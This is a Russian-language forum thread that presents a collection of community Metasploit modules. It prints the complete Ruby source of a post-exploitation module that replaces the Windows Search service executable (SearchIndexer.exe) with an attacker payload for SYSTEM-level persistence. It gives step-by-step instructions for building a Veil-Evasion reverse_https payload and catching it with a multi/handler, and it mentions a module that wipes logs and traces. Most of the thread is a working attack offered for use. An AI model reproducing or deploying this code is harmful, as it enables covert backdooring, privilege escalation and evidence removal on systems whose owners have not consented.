MSF Auxiliary Updates

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем Vander, 5 ноя 2016.

Наш партнер Genesis Hackspace
  1. Vander

    Vander Супер-модератор
    Команда форума Grey Team

    Регистрация:
    16 янв 2016
    Сообщения:
    671
    Симпатии:
    1.140
    Привет! В этой теме я хотел бы обратить внимание на обновление Metasploit Framework, а точнее на новые скрипты (модули), которые мы добавим в него. И отдельно описать модуль, persist_priv_Wsearch.rb - который по каким-то причинам не загружается в этом обновлении. Итак, прокачаем, немного Metasploit.

    MSF Auxiliary Updates

    Подборка новых модулей называется MSF-AUXILIARYS UPDATES : COLLECTION OF MSF AUXILIARY MODULE. Появилась она в релизе достаточно недавно, 29.10.2016, рассмотрим подробнее, что она из себя представляет.

    Новые модули:

    · NO-IP_privilege_scalation.rb – Повышение привилегий не котируемых сервисов.

    · PDF_complete_corporate_edition.rb - Повышение привилегий не котируемых сервисов

    · deploy_service_payload.rb – deploy_service_payload.rb – Позволит загрузить полезную нагрузку (.exe) на целевой хост (DEPLOY_PATH) и создаст службу которая на него укажет (SERVICE_NAME).

    · persist_priv_Wsearch.rb – Это, после эксплуатационный модуль, который, в начале, требует активную сессию meterpreter, а затем позволит загрузить/ внедрить нашу полезную нагрузку (.exe) в WSearch (windows search) службу. (Его то, как раз и нет)

    · CleanTracks.rb – Вспомогательный пост эксплуатационный эксплоит, требующий для своей работы активную сессию meterpreter, оказывает влияние на политику ключей реестра и команд CMD, и скрывает следы, оставленные в целевой системе. В целом модули подобного типа в фреймворке устарели и не смогут справиться с этими задачами. В качестве отмеченного преимущества модуль позволит устанавливать несколько опций одновременно.

    1. Предотвращение создания каких-либо данных в целевой системе, путем добавления соответствующих ключей в реестр цели. Запускается после успешной эксплуатации цели.

    2. Очищает папки с временными файлами, кэш, логи. Более эффективно использовать поэтапно.

    3. GETSYS: модуль предпримет попытку поднять привилегии в системе. Необходимо запускать перед 1 и 2 пунктом.

    Загружаем обновления, в терминале выполним следующую команду:

    > git clone git://git.code.sf.net/p/msf-auxiliarys/msf-auxiliarys msf-auxiliarys-msf-auxiliarys

    Для того, чтобы обновить их в папке msf-auxiliarys-msf-auxiliarys нужно выполнить команду:

    > git pull

    MSF Auxiliary Updates

    Здесь, мы видим список скриптов, которые будем добавлять в Metasploit.

    MSF Auxiliary Updates

    Вот, как это делается, копируем эксплоит, к примеру, my-auxiliary.rb в папку /root/usr/share/metasploit-framework/modules/auxiliary/analyze.

    MSF Auxiliary Updates

    В Metasploit консоли пишем:

    > reload_all
    Затем, пробуем выполнить новый эксплоит:

    > use auxiliary/analyze/my-auxiliary

    MSF Auxiliary Updates

    Все работает, без нареканий. Аналогично поступим с эксплойтом – wifi_dump.rb, копируем его в - /root/usr/share/metasploit-framework/modules/auxiliary/analyze.

    MSF Auxiliary Updates

    В консоли msf пишем:

    > reload_all

    MSF Auxiliary Updates


    После обновления модулей, вводим:

    > use auxiliary/analyze/wifi_dump

    > options


    MSF Auxiliary Updates

    Эксплойты работают, и я полагаю, дальнейшие шаги предельно ясны.

    <WSEARCH>


    Вернемся к эксплойту persist_priv_Wsearch.rb:

    Одной из основных задач его, это подмена файла SearchIndexer.exe - ОС Windows имеет в своем составе утилиту для поиска файлов. Когда вы запускаете процесс поиска, в панели задач в списке запущенных процессов появляется новый компонент «Searchindexer.exe», который ускоряет получение результатов поиска. На самом деле это процесс запускается автоматически вместе с загрузкой системы, но в пассивном состоянии он не потребляет процессорный ресурс. Выглядит он так:

    MSF Auxiliary Updates

    Как я ранее писал, его нет в обновлении, но я нашел его исходный код на Ruby, вот он:

    Код (Text):
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##


    ##
    # [ persist_priv_Wsearch.rb ]
    # $Id$ 1.7 Author: pedr0 Ubuntu aka: [r00t-3xp10it]
    # Hosted By: peterubuntu10[at]sourceforge[dot]net
    # http://sourceforge.net/projects/msf-auxiliarys/
    # https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/persist_priv_Wsearch.rb
    #
    #
    # ---
    # [ POST-EXPLOITATION MODULE DESCRIPTION ]
    # This post-exploitation module requires a meterpreter session to be able to upload/inject our payload.exe
    # into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name
    # and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring.
    # To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name
    # of the service. 'Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
    #
    #
    # [ HOW TO EXPLOIT THE VULNERABILITY ]
    # 1º - exploit target system with one meterpreter payload (open session)
    # 2º - build new payload called: SearchIndexer.exe (2º payload to send to target)
    # 3º - start conrrespondent handler to wait for the 2º payload connection.
    # 4º - use post/windows/escalate/persist_priv_Wsearch (set options required)
    # 5º - set UPLOAD_PATH /root/SearchIndexer.exe (2º payload to send to target)
    # 6º - exploit
    #
    #
    # [ MODULE OPTIONS ]
    # HINT: to unset all values use: msf post(persist_priv_Wsearch) > unset all
    # Input The session number to run this module on => set SESSION 3
    # Input full path of SearchIndexer.exe to upload => set UPLOAD_PATH /root/shell/output/SearchIndexer.exe
    # Check WSearch service auto-start status?       => set SERVICE_STATUS true
    # revert WSearch service executable to default?  => set DELETE_PERSISTENCE true
    # ---
    #
    #
    # [ PORT MODULE TO METASPLOIT DATABASE ]
    # Kali linux   COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/persist_priv_Wsearch.rb
    # Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/persist_priv_Wsearch.rb
    # Manually Path Search: root@kali:~# locate modules/post/windows/escalate
    #
    #
    # [ LOAD/USE AUXILIARY ]
    # meterpreter > background
    # msf exploit(handler) > reload_all
    # msf exploit(handler) > use post/windows/escalate/persist_priv_Wsearch
    # msf post(persist_priv_Wsearch) > info
    # msf post(persist_priv_Wsearch) > show options
    # msf post(persist_priv_Wsearch) > show advanced options
    # msf post(persist_priv_Wsearch) > set [option(s)]
    # msf post(persist_priv_Wsearch) > exploit
    ##



    # ----------------------------
    # Module Dependencies/requires
    # ----------------------------
    require 'rex'
    require 'msf/core'
    require 'msf/core/post/common'
    require 'msf/core/post/windows/priv'



    # ----------------------------------
    # Metasploit Class name and includes
    # ----------------------------------
    class MetasploitModule < Msf::Post
          Rank = ExcellentRanking

             include Msf::Post::Common
             include Msf::Post::Windows::Priv



    # -----------------------------------------
    # Building Metasploit/Armitage info GUI/CLI
    # -----------------------------------------
            def initialize(info={})
                    super(update_info(info,
                            'Name'          => 'persistence/privilege_escalation in WSearch',
                            'Description'   => %q{
                                            This post-exploitation module requires a meterpreter session to be able to upload/inject our SearchIndexer.exe into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring. To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges."WARNING: payload to send must be named as: SearchIndexer.exe"
                            },
                            'License'       => UNKNOWN_LICENSE,
                            'Author'        =>
                                    [
                                            'peterubuntu10[at]sourceforge[dot]net', # post-module author/vuln discover
                                            'Special thanks: milton_barra|Chaitanya Haritash', # testing/debug module
                                    ],

                            'Version'        => '$Revision: 1.7',
                            'DisclosureDate' => 'out 27 2016',
                            'Platform'       => 'windows',
                            'Arch'           => 'x86_x64',
                            'Privileged'     => 'false',
                            'Targets'        =>
                                    [
                                             # Tested againts windows 7 (32 bits) | XP SP1 (32 bits)
                                             [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]
                                    ],
                            'DefaultTarget'  => '3', # default its to run againts windows 7 (32 bits)
                            'References'     =>
                                    [
                                             [ 'URL', 'http://goo.gl/OvgbW' ],
                                             [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
                                             [ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],
                                             [ 'URL', 'http://computerstepbystep.com/windows_search_service.html' ],
                                             [ 'URL', 'http://www.winhelponline.com/blog/take-ownership-of-file-or-folder/' ],
                                             [ 'URL', 'https://technet.microsoft.com/en-us/library/cc753525%28v=ws.11%29.aspx' ]



                                    ],
    'DefaultOptions' =>
    {
    'SESSION' => '1', # Default its to run againts session 1
    },
                            'SessionTypes'   => [ 'meterpreter' ]

                    ))

                    register_options(
                            [
                                    OptString.new('SESSION', [ true, 'The session number to run this module on']),
                                    OptString.new('UPLOAD_PATH', [ false, 'The full path of your SearchIndexer.exe to be uploaded']),
                                    OptBool.new('SERVICE_STATUS', [ false, 'Check remote WSearch service settings?' , false])
                            ], self.class)

                    register_advanced_options(
                            [
                                    OptBool.new('DELETE_PERSISTENCE', [ false, 'revert WSearch service executable to default?' , false])
                            ], self.class)

            end




    # ----------------------------------------------
    # Check for proper target Platform (win32|win64)
    # ----------------------------------------------
    def unsupported
       session = client
         sys = session.sys.config.sysinfo
           print_warning("[ABORT]: Operative System => #{sys['OS']}")
           print_error("Only windows systems are supported by this module...")
           print_error("Please execute [info] for further information...")
           print_line("")
       raise Rex::Script::Completed
    end




    # ----------------------------------------------------------
    # INJECT/UPLOAD OUR EXECUTABLE INTO WSearch BINARY_PATH_NAME
    # ----------------------------------------------------------
    def ls_stage1

      r=''
      session = client
      upath = datastore['UPLOAD_PATH']
      bin_path = "%systemroot%\\system32\\SearchIndexer.exe"
      # check for proper config settings enter
      # to prevent 'unset all' from deleting default options...
      if datastore['UPLOAD_PATH'] == 'nil'
        print_error("Options not configurated correctly...")
        print_warning("Please set UPLOAD_PATH option...")
        return nil
      else
        # elevate privs befor running module
        print_status("Persisting your payload in target system.")
        client.sys.config.getprivs.each do |priv|
        end
      end


        # check target system language to define key variable to use in (icacls) syntax...
        check_lang = registry_getvaldata("HKLM\\System\\CurrentControlSet\\Control\\Nls\\Language","InstallLanguage")
        if check_lang == "0816" || check_lang == "0416"
          print_warning("Target System language detected:Portuguese...")
          key = "Administrador"
          elsif check_lang == "0409" || check_lang == "0009" || check_lang == "0809" || check_lang == "0C09" || check_lang == "1009" || check_lang == "0421" || check_lang == "0415"
            print_warning("Target System language detected:English...")
            key = "Administrator"
          elsif check_lang == "0410"
            print_warning("Target System language detected:Italian...")
            key = "Amministratore"
          elsif check_lang == "040C" || check_lang == "0413"
            print_warning("Target System language detected:French...")
            key = "Administrateur"
          elsif check_lang == "0407"
            print_warning("Target System language detected:German...")
            key = "Verwalter"
        else
          print_error("post-module cant define target system language...")
          print_warning("defaulting key to english language [Administrator]")
          key = "Administrator"
        end


        # list of arrays to execute
        arrays = [
           'ren %systemroot%\\system32\\SearchIndexer.exe  SearchIndexer.bk',
           'move /y %temp%\\SearchIndexer.exe %systemroot%\\system32\\SearchIndexer.exe',
           'sc start WSearch'
          ]

          print_good("Stoping WSearch remote service...")
          # stop service to enable proper configuration
          r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})
          sleep(2.0)
            print_good("Setting service to auto-start with windows...")
            # set service to auto-start with windows
            r = session.sys.process.execute("cmd.exe /c sc config WSearch start= auto", nil, {'Hidden' => true, 'Channelized' => true})
            sleep(2.0)

              # upload our executable into 'temp' folder...
              print_good("Uploading payload to target temp folder...")
              client.fs.file.upload("%temp%\\SearchIndexer.exe","#{upath}")

              # takeown of SearchIndexer.exe
              print_good("Takeowner of SearchIndexer to replace it by our executable.")
              print_good(" Execute => takeown /f #{bin_path}")
              r = session.sys.process.execute("cmd.exe /c takeown /f #{bin_path}", nil, {'Hidden' => true, 'Channelized' => true})
              sleep(2.0)

              # grant admin permitions (icacls)
              print_good(" Execute => icacls #{bin_path} /grant #{key}:(F)")
              r = session.sys.process.execute("cmd.exe /c icacls #{bin_path} /grant #{key}:(F)", nil, {'Hidden' => true, 'Channelized' => true})
              sleep(2.0)

                # loop funtion to manipulate file permitions in target system.
                session.response_timeout=120
                arrays.each do |cmd|
                  begin
                    # execute cmd prompt in a hidden channelized windows
                    r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
                    print_good(" Execute => #{cmd}")

                      # close client channel when done
                      while(d = r.channel.read)
                              break if d == ""
                      end
                  end
                end

            # task completed successefully...
            print_good("Restarting WSearch service...")
            sleep(2.0)
            print_warning("WSearch service [binary_path_name] backdoored successefuly...")
            print_status("Setup one handler and Wait everytime that system restarts OR")
            print_status("Setup one handler and restart Wsearch service: sc start WSearch")
            print_line("")

        # close channel when done
        r.channel.close
        r.close

      # error exception funtion
      rescue ::Exception => e
      print_error("Error: #{e.class} #{e}")
    end




    # ---------------------------------------------------------
    # DELETE/REVERT WSEARCH SERVICE EXECUTABLE TO DEFAULT STAGE
    # ---------------------------------------------------------
    def ls_stage2

      r=''
      session = client
      backup = "%systemroot%\\system32\\SearchIndexer.bk"
      # check for proper config settings enter
      # to prevent 'unset all' from deleting default options...
      if datastore['DELETE_PERSISTENCE'] == 'nil'
        print_error("Options not configurated correctly...")
        print_warning("Please set DELETE_PERSISTENCE option...")
        return nil
      else
        # elevate privs befor running module
        print_status("Revert WSearch service executable to default stage")
        client.sys.config.getprivs.each do |priv|
        end
      end


        # list of arrays to execute
        arrays = [
           'takeown /f %systemroot%\\system32\\SearchIndexer.exe',
           'ren %systemroot%\\system32\\SearchIndexer.bk SearchIndexer.exe',
           'sc config WSearch start= demand',
           'sc start WSearch'
        ]

        # check if backup file exist on target
        if client.fs.file.exist?("#{backup}")
          print_warning("Backup SearchIndexer.bk file:found...")
          print_good("Stoping WSearch remote service...")
          # stop service to enable proper configuration
          r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})
          sleep(2.0)

              # loop funtion to manipulate file permitions in target system.
              print_good("Takeowner of SearchIndexer service executable...")
              session.response_timeout=120
              arrays.each do |cmd|
                begin
                  # execute cmd prompt in a hidden channelized windows
                  r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
                  print_good(" Execute => #{cmd}")

                    # close client channel when done
                    while(d = r.channel.read)
                            break if d == ""
                    end
                end
              end


            print_good("Restarting WSearch service...")
            sleep(2.0)
            print_warning("WSearch service executable reverted to default stage...")
            print_status("we have lost our backdoor :( but feeded the white hacker within :D")
            print_line("")

          # close channel when done
          r.channel.close
          r.close

        else
          print_error("Backupfile: SearchIndexer.bk => NOT FOUND...")
          print_warning("post-module did not have reverted the service default executable.")
          print_line("")
        end


      # error exception funtion
      rescue ::Exception => e
      print_error("Error: #{e.class} #{e}")
    end




    # ------------------------------------
    # CHECK/DISPLAY WSEARCH SERVICE STATUS
    # ------------------------------------
    def ls_stage3

      r=''
      serv="WSearch"
      session = client
      sysnfo = session.sys.config.sysinfo
      # check for proper config settings enter
      # to prevent 'unset all' from deleting default options...
      if datastore['SERVICE_STATUS'] == 'nil'
        print_error("Options not configurated correctly...")
        print_warning("Please set SERVICE_STATUS option...")
        return nil
      else
        print_status("Checking WSearch service settings...")
        sleep(2.0)
      end


        print_warning("Reading service hive registry keys...")
        # search in target regedit for WSearch auto-start service status
        # Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled
        if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 2
          startup = "auto_start"
        end
        if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 3
          startup = "manual_start"
        end
        if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 4
          startup = "disabled_start"
        else
            startup = "unknow"
            print_error("post-module cant define service auto_start status...")
            print_warning("enter into a shell session and execute: sc qc WSearch status")
        end


          sleep(1.0)
          # display WSearch service current settings.
          print_line("")
          print_line("    :host    => #{sysnfo['Computer']}")
          print_line("    :service => #{serv}")
          print_line("    :status  => running")
          print_line("    :startup => #{startup}")
          print_line("")

      # error exception funtion
      rescue ::Exception => e
      print_error("Error: #{e.class} #{e}")
    end




    # ------------------------------------------------
    # MAIN DISPLAY WINDOWS (ALL MODULES - def run)
    # Running sellected modules against session target
    # ------------------------------------------------
    def run
      session = client
        # Check for proper target Platform
        unsupported if client.platform !~ /win32|win64/i

          # Variable declarations (msf API calls)
          sysnfo = session.sys.config.sysinfo
          runtor = client.sys.config.getuid
          runsession = client.session_host
          directory = client.fs.dir.pwd


        # Print banner and scan results on screen
        print_line("    +---------------------------------------------+")
        print_line("    | PERSISTENCE + PRIV_ESCAL IN WSEARCH SERVICE |")
        print_line("    |    Author: Pedro Ubuntu [ r00t-3xp10it ]    |")
        print_line("    +---------------------------------------------+")
        print_line("")
        print_line("    Running on session  : #{datastore['SESSION']}")
        print_line("    Computer            : #{sysnfo['Computer']}")
        print_line("    Operative System    : #{sysnfo['OS']}")
        print_line("    Target IP addr      : #{runsession}")
        print_line("    Payload directory   : #{directory}")
        print_line("    Client UID          : #{runtor}")
        print_line("")
        print_line("")



    # ------------------------------------
    # Selected settings to run
    # ------------------------------------
          if datastore['UPLOAD_PATH']
             ls_stage1
          end

          if datastore['DELETE_PERSISTENCE']
             ls_stage2
          end

          if datastore['SERVICE_STATUS']
             ls_stage3
          end
       end
    end
    Используя Notepad ++ (к примеру) скопируем его в новый документ и сохраним:

    MSF Auxiliary Updates

    Теперь добавим этот модуль в Metasploit, копируем его в директорию - /usr/share/metasploit-framework/modules/post/windows/escalate

    MSF Auxiliary Updates

    Выполним:

    > reload_all

    Теперь я хочу объяснить, как он работает, выше я писал о Searchindexer.exe.

    Информация от разработчиков:

    · Производитель: Microsoft WSearch (индексация Windows) службы [SearchIndexer.exe]

    · Тип уязвимости: Постоянный backdoor + Повышение привилегий

    · Версии уязвимых продуктов: Windows XP, Vista, 7, 8, 10.

    · Степень тяжести: критическая

    Описание:

    · Служба WSearch использует, один исполняемый EXE-файл, который, устанавливается в binary_path_name и работает как local/system процессы, что дает возможность повышения привилегий в системе, и создания постоянного доступа к ней. Для использования этой уязвимости мы должны заменить исполняемый файл в binary_path_name службы. Перезагрузка системы или перезапуск службы будет запускать исполняемый файл с повышенными привилегиями.

    Факторы, влияющие на повышение привилегий.

    · Запустим команду " sc query WSearch " в результате видим, что служба всегда находится в рабочем режиме. Исходя из этого, логично, что наш backdoor может выполняться все время. И выдавать себя за оригинальный процесс (WSearch), что и приводит к постоянству.

    MSF Auxiliary Updates

    Ко всему прочему, приложение работает с NT / Authority привилегиями. Таким образом, мы можем дать ему права Администратора.

    И, наконец, видим, что опция start_type установлена в режим AUTO_START. Это означает, что процесс запустится сразу после загрузки. Кроме этого, BINARY_PATH_NAME можно заменить, чтобы сохранить backdoor с именем приложения.

    MSF Auxiliary Updates

    Попробуем применить все, о чем написано выше на практике, запустим модуль и посмотрим, какие опции в нем доступны:

    > use post/windows/escalate/WSearch

    > show advanced options

    MSF Auxiliary Updates

    Как я уже говорил, этот скрипт постэкплуатационный, т.е. нам необходима активная сессия meterpreter . Далее вводим команды:

    > set session X (Номер сессии meterpreter)

    > set upload_path /root/SearchIndexer.exe (Предварительно необходимо создать исполняемый файл, к примеру в Veil-Evasion, в качестве пайлоада можно выбрать reverse_tcp или reverse_https. Затем переименуем его в SearchIndexer.exe и укажем путь к нему, в моем случае /root/Searchindexer.exe.)

    > exploit

    MSF Auxiliary Updates

    Затем, перезагрузим целевую систему. Откроем новый терминал и запустим Metasploit.

    > msfconsole

    > use multi/handler

    > set payload windows/meterpreter/reverse_https

    > set LPORT 443

    > set LHOST 192.168.0.101

    > exploit

    MSF Auxiliary Updates

    После перезагрузки, получаем сессию meterpreter на целевом хосте.

    MSF Auxiliary Updates

    Хочу обратить внимание на то, что способ успешно сработал на Windows 7, Windows 8.1. На Windows 10 у меня не получилось открыть сессию meterpreter. На 8-ке тоже возникали сложности, сессия открывалась через раз, а потом и вовсе перестала запускаться, грешу на то, что много раз перезаписывал SearchIndexer.exe. А в целом способ неплох, т.к. в качестве исполняемого файла можно подставлять все, что угодно, а не только файлы генерированные Veil Evasion. В общем, есть в чем по разбираться.

    Спасибо за внимание.
     
    valerian38, gx6060, Xvlad и 6 другим нравится это.
  2. koldonuuchu

    koldonuuchu Active Member
    Grey Team

    Регистрация:
    4 ноя 2016
    Сообщения:
    37
    Симпатии:
    41
    Отличная статья! много полезного узнал
     
  3. id2746

    id2746 Well-Known Member
    Grey Team

    Регистрация:
    12 ноя 2016
    Сообщения:
    97
    Симпатии:
    101
    интересно. спасибо.
    Давно статей по Армитажу не было, может добавите?
     
  4. Vander

    Vander Супер-модератор
    Команда форума Grey Team

    Регистрация:
    16 янв 2016
    Сообщения:
    671
    Симпатии:
    1.140
    Как только выделю время, добавлю.
     
  5. Kareon07

    Kareon07 Active Member
    Paid Access

    Регистрация:
    16 янв 2017
    Сообщения:
    29
    Симпатии:
    5
    И тут нужны права Админа для остановки службы????
    --- Добавлено 6 фев 2017. Первое сообщение размещено 6 фев 2017 ---
    Напишите, пожалуйста, статью про повышении привилегий с usergroup до admingroup.
    Спасибо.
     
Загрузка...

Поделиться этой страницей